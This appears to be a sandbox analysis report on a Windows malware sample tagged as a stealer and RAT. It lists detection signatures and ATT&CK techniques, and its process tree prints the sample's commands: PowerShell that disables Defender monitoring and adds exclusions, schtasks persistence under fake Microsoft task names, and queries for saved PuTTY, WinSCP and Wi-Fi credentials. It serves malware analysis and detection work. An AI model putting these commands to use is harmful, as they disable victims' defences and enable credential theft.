Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/07/2026, 08:28
General
- Target 2026-07-20_e9f00c03a901f003de186c4da2f37327_akira_glassworm_quasar-rat_rusty-stealer.exe
- Size 4.5MB
- Sample260720-kdepaad19s
- SHA256 4d9e8ec3f65e6167ebc4ee6212b64f29107535d7c3b83f41f8a81559b19e9aa0
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
- Modifies Windows Defender notification settings 3 TTPs 5 IoCs
- Modifies firewall policy service 3 TTPs 12 IoCs
- Modifies security service 2 TTPs 1 IoCs
- Windows security bypass 2 TTPs 2 IoCs
- Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Detects executables containing artifacts associated with disabling Widnows Defender 1 IoCs
- Detects executables containing common artifacts observed in infostealers 1 IoCs
- Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs
- Detects executables referencing many Password Manager software clients. Observed in infostealers 1 IoCs
- Detects executables referencing potentially confidential GIT artifacts. Observed in infostealer 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Modify Registry: Disable Windows Driver Blocklist 2 TTPs 1 IoCs
Disable Windows Driver Blocklist via Registry.
- Drops startup file 3 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
- Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Windows security modification 2 TTPs 3 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 3 IoCs
When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Executes a command shell one-liner 1 TTPs 4 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Disables Windows logging functionality 2 TTPs
Changes registry settings to disable Windows Event logging.
- Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
- Modifies registry key 1 TTPs 1 IoCs
- NTFS ADS 4 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 15 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 28 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 3 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-07-20_e9f00c03a901f003de186c4da2f37327_akira_glassworm_quasar-rat_rusty-stealer.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-20_e9f00c03a901f003de186c4da2f37327_akira_glassworm_quasar-rat_rusty-stealer.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Modifies Windows Defender notification settings
- Modifies firewall policy service
- Modifies security service
- Windows security bypass
- Modify Registry: Disable Windows Driver Blocklist
- Drops startup file
- Windows security modification
- Accesses Microsoft Outlook profiles
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Subvert Trust Controls: Mark-of-the-Web Bypass
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- outlook_office_path
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Get-AppxPackage | ForEach-Object { $path = \"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\$($_.PackageFamilyName)\"; if(!(Test-Path $path)){New-Item -Path $path -Force | Out-Null}; Set-ItemProperty -Path $path -Name 'Enabled' -Value 0 -Type DWord -Force -ErrorAction SilentlyContinue } 2>$null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\reg.exe"reg" query "HKCU\Software\Martin Prikryl\WinSCP 2\Sessions" /s2⤵
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C:\Windows\system32\ipconfig.exe"ipconfig" /all2⤵
- Gathers network information
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C:\Windows\system32\attrib.exe"attrib" +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSync.exe"2⤵
- Drops startup file
- Views/modifies file attributes
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C:\Windows\system32\cmd.exe"cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\WindowsDefender\WindowsDefenderCheck\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr36f62378.xml\" /f"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\WindowsDefender\WindowsDefenderCheck\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr36f62378.xml\" /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\cmd.exe"cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\UpdateOrchestrator\USO_UxBroker_Display\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr36f62378.xml\" /f"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\UpdateOrchestrator\USO_UxBroker_Display\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr36f62378.xml\" /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\cmd.exe"cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\SpeechModelDownload\SpeechModelDownloadTask\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr36f62378.xml\" /f"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\SpeechModelDownload\SpeechModelDownloadTask\" /xml \"C:\Users\Admin\AppData\Local\Temp\~dfr36f62378.xml\" /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\reg.exe"reg" query HKCU\Software\SimonTatham\PuTTY\Sessions /s2⤵
- Modifies registry key
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C:\Windows\system32\ipconfig.exe"ipconfig"2⤵
- Gathers network information
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C:\Windows\system32\cmd.exe"cmd" /C "C:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\Defrag\ScheduledDefrag\" /sc ONLOGON /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe\" /ru SYSTEM /f"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /tn \"Microsoft\Windows\Defrag\ScheduledDefrag\" /sc ONLOGON /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe\" /ru SYSTEM /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -WindowStyle Hidden -NonInteractive -NoProfile -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'svchost.exe' -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring $true -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen $true -ErrorAction SilentlyContinue"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\attrib.exe"attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe2⤵
- Views/modifies file attributes
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C:\Windows\system32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -NoProfile -NonInteractive -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct 2>$null | Select-Object -ExpandProperty displayName"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\system32\attrib.exe"attrib" +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Windows\WUDFHost.exe2⤵
- Views/modifies file attributes
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
8Disable or Modify System Firewall
1Disable or Modify Tools
6Modify Registry
11Subvert Trust Controls
1SIP and Trust Provider Hijacking
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
7Credentials In Files
7Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_hs0b1rzc.423.ps1
memory/2064-41-0x0000021A6DDA0000-0x0000021A6DDA6000-memory.dmp
memory/2064-42-0x0000021A6DDB0000-0x0000021A6DDBA000-memory.dmp
memory/2064-16-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-17-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-18-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-19-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-20-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-21-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-22-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-23-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-24-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-25-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-14-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-47-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-15-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-10-0x00007FFF609E0000-0x00007FFF61384000-memory.dmp
memory/2064-38-0x0000021A6E450000-0x0000021A6E46A000-memory.dmp
memory/2064-37-0x0000021A6E660000-0x0000021A6E864000-memory.dmp
memory/2064-13-0x0000021A55CB0000-0x0000021A55CD2000-memory.dmp
memory/2064-39-0x0000021A6E4D0000-0x0000021A6E4FA000-memory.dmp
memory/2064-40-0x0000021A6DD90000-0x0000021A6DD98000-memory.dmp
memory/2064-9-0x00007FFF60B6F000-0x00007FFF60B70000-memory.dmp
memory/2064-44-0x0000021A6E4A0000-0x0000021A6E4C6000-memory.dmp
memory/2064-43-0x0000021A6E1D0000-0x0000021A6E1D8000-memory.dmp
memory/3944-31-0x0000029A39880000-0x0000029A3989E000-memory.dmp
memory/3944-33-0x0000029A398A0000-0x0000029A398AA000-memory.dmp
memory/3944-32-0x0000029A51D50000-0x0000029A51E02000-memory.dmp
memory/5036-59-0x0000000140000000-0x000000014047E000-memory.dmp
memory/5224-53-0x00000146E8260000-0x00000146E8312000-memory.dmp
memory/5224-54-0x00000146E85A0000-0x00000146E85CA000-memory.dmp
memory/5224-55-0x00000146E85A0000-0x00000146E85C4000-memory.dmp